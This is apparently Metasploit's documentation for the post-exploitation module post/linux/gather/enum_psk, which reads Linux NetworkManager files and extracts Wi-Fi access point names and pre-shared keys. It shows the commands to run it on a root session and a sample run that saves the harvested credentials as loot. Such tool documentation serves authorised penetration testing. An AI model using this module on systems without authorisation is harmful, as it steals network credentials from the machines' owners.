documentation/modules/post/linux/gather/enum_psk.md
This module collects 802-11-Wireless-Security credentials such as Access-Point name and Pre-Shared-Key from Linux NetworkManager connection configuration files.
root sessionuse post/linux/gather/enum_pskset session <session ID>runThe path for NetworkManager configuration files (default: /etc/NetworkManager/system-connections/)
msf > use post/linux/gather/enum_psk
msf post(linux/gather/enum_psk) > set session 1
session => 1
msf post(linux/gather/enum_psk) > run
[*] Reading file /etc/NetworkManager/system-connections//Profile 1.nmconnection
[*] Reading file /etc/NetworkManager/system-connections//test
802-11-wireless-security
========================
AccessPoint-Name PSK
---------------- ---
test 1234567890
[+] Credentials stored in: /root/.msf4/loot/20221120081233_default_192.168.200.204_linux.psk.creds_045512.txt
[*] Post module execution completed
msf post(linux/gather/enum_psk) >